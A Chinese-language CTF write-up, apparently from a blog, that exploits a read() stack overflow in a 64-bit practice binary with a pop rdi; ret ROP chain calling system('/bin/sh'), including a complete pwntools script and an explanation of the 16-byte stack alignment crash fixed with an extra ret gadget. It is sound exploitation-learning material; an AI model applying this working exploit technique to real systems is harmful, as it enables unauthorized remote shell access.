首先还是找到关键函数
在这里插入图片描述
可以看到有read栈溢出漏洞,有system函数,查看字符串,还可以看到”/bin/sh”,既然这样,我们便可以一步到位直接通过rop将/bin/sh装入system函数中getshell。

如何通过rop实现传参呢?64位ELF是通过寄存器存放参数的,所以我们要想办法将/bin/sh放入rdi中并紧接着调用system函数。

那么该如何实现呢?我们假设一下,先通过pop edi将/bin/sh的地址压入edi中,然后再执行ret,并将此时的esp所指向栈空间的值改为system函数的值就可以实现getshell了。

也就是说,我们现在只需要考虑如何能执行pop edi,ret这样的指令了,这时候就需要ropgadget来实现了,通过rop搜索文件中pop edi ret指令的地址,获取这个地址以后,我们就可以通过栈溢出漏洞将返回地址修改为这段指令的地址。

也就是说,我们只需要将ret覆盖位pop edi ret代码的地址,接着覆盖/bin/sh的地址与system函数的地址就可以get shell 了!

开始复现一下例题

找到关键函数与关键的地址以后。尝试编写exp

from pwn import *

context.log_level = 'debug'
context.terminal = ["tmux","new-window"]
#p=remote("123.57.236.25",7004)
p = process('./64yichu')
pop_rdi_ret=0x400793
binsh_addr=0x601048
system_addr=0x400530
#gdb.attach(p,"b *0x000000000040070A")
payload='A'*0x18+p64(pop_rdi_ret)+p64(binsh_addr)
payload+=p64(0x0400511)
payload+=p64(system_addr)
p.sendlineafter('please pwn me!!!\n',payload)
p.interactive()

#ROPgadget --binary 32yichu --only "pop|ret"

#$system("/bin/sh")->main()

运行一下试试

在这里插入图片描述
失败了,看了一下payload,好像并没有错啊,打开gdb调试。并没有什么异常。
那为什么会失败呢?这里就是一个坑了,大概就是类似于这样的指令
在这里插入图片描述

xmm0指令要求rsp+198h+var_158的值是对齐16byte(0x10),否则会直接触发中断从而crash。
具体可以看一下这个文章

所以想要解决这个坑,有三种方法,一是改变payload的长度,使用apyload对栈进行填充。
当然对于这道题来讲,增加payload进行填充也会遇到问题,是将填充栈用到的数据填充在payload最后面呢?这样的话并没有什么用,因为填充好了之前已经crash了,将其填充在中间?又会影响到ret指令对system函数的调用。所以我们可以换一个思路,改变一下填充数据,将填充数据修改为ret指令的地址,放在中间以后,可以使ret指令的返回地址仍指向ret,这样就仍然可以正常调用system函数了。

二是栈转移,这个不太懂,等学到了再说吧。